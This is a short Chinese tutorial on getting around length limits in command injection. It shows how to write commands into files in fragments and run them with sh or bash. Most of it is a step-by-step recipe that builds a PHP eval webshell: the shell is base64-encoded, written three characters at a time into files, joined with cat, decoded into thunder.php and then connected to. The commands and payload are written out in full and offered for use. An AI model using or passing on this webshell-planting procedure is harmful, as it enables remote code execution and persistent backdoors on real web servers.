赞
踩
当命令执行漏洞对长度有限制时,我们可以通过一些Linux命令生成文件进行执行。
如果应用程序是使用shell解析器来执行命令或文件,那么不需要该文件具有执行属性(x)
如果应用程序没有shell解析器,那么写入文件内容时,可以第一条语句写入#! /bin/sh,这样文件即使没有执行属性也可以执行
- echo -n "cmd1" > r;
- echo -n "cmd2" >> r;
- echo -n "cmd3" >> r;
- echo "cmd4" >> r;
然后使用cat r | bash执行命令
linux中,文件中的命令如果需要换行书写,需要在前一行末尾增加\,如文件a中有
- ca\
- t flag.t\
- xt
使用sh a即可执行命令cat flag.txt
1、首先将我们的一句话话进行base64编码
- echo "<?php @eval(\$_REQUEST[123]);?>" | base64
- PD9waHAgQGV2YWwoJF9SRVFVRVNUWzEyM10pOz8+Cg== //返回结果
2、依次每3个字符的写入到一个文件中
其中-n是令后面不会自动加入换行,方便拼接。
- echo -n PD9>a;
- echo -n waH>b;
- echo -n AgQ>c;
- echo -n GV2>d;
- echo -n YWw>e;
- echo -n oJF>f;
- echo -n 9SR>g;
- echo -n VFV>h;
- echo -n RVN>i;
- echo -n UWz>j;
- echo -n EyM>k;
- echo -n 10p>l;
- echo -n Oz8+>m;
3、然后组合刚才生成的这些文件到一个文件中。
- cat a b>z;
- cat z c>y;
- cat y d>z;
- cat z e>y;
- cat y f>z;
- cat z g>y;
- cat y h>z;
- cat z i>y;
- cat y j>z;
- cat z k>y;
- cat y l>z;
- cat z m>y;
4、将y里面的base64编码进行转回源码并且改名为php文件。
- base64 -d y>x;
- mv x thunder.php;
5、连接webshell进行测试,可以正常利用。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。